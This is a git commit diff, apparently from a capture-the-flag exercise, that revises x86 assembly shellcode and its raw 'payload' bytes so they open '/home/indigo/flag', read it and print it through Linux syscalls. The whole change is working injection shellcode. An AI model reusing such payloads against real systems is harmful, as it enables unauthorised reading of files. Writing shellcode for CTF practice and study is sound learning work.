diff options
author | Brett Weiland <brett_weiland@bpcspace.com> | 2020-10-27 05:43:37 -0500 |
---|---|---|
committer | Brett Weiland <brett_weiland@bpcspace.com> | 2020-10-27 05:43:37 -0500 |
commit | fde539741a42a29e39cc25d34b95e34978fe902c (patch) | |
tree | 9ab3f7443d7e4207e9fa6dd668eeda91ddfe1d86 | |
parent | 4fda6945bcaed8de8220e02a93a04fcc1d171c6b (diff) |
modified: fread
modified: fread.asm
modified: fread.o
modified: payload
-rwxr-xr-x | fread | bin | 4272 -> 4296 bytes | |||
-rw-r--r-- | fread.asm | 15 | ||||
-rw-r--r-- | fread.o | bin | 512 -> 528 bytes | |||
-rwxr-xr-x | payload | 2 |
4 files changed, 14 insertions, 3 deletions
Binary files differ @@ -14,12 +14,23 @@ int 0x80 ;eax now contains our file descriptor. +mov ebx, eax mov al, 3 ;sys_read -mov ebx, esp ;I think? -mov cl, 0xff ;eh, random guess I guess +mov ecx, esp ;I think? +xor edx, edx +mov dl, 0xff ;eh, random guess I guess int 0x80 +mov al, 4 +xor ebx, ebx +mov bl, 1 +mov ecx, esp +;dl stays the same +int 0x80 + + + data: call str_found db "/home/indigo/flag" Binary files differ@@ -1 +1 @@ -ë1À°1É1Ò[‰KÍ€èíÿÿÿ/home/indigo/flag
\ No newline at end of file +ë$1À°1É1Ò[‰KÍ€‰Ã°‰á1Ò²ÿÍ€°1Û³‰áÍ€è×ÿÿÿ/home/indigo/flag
\ No newline at end of file |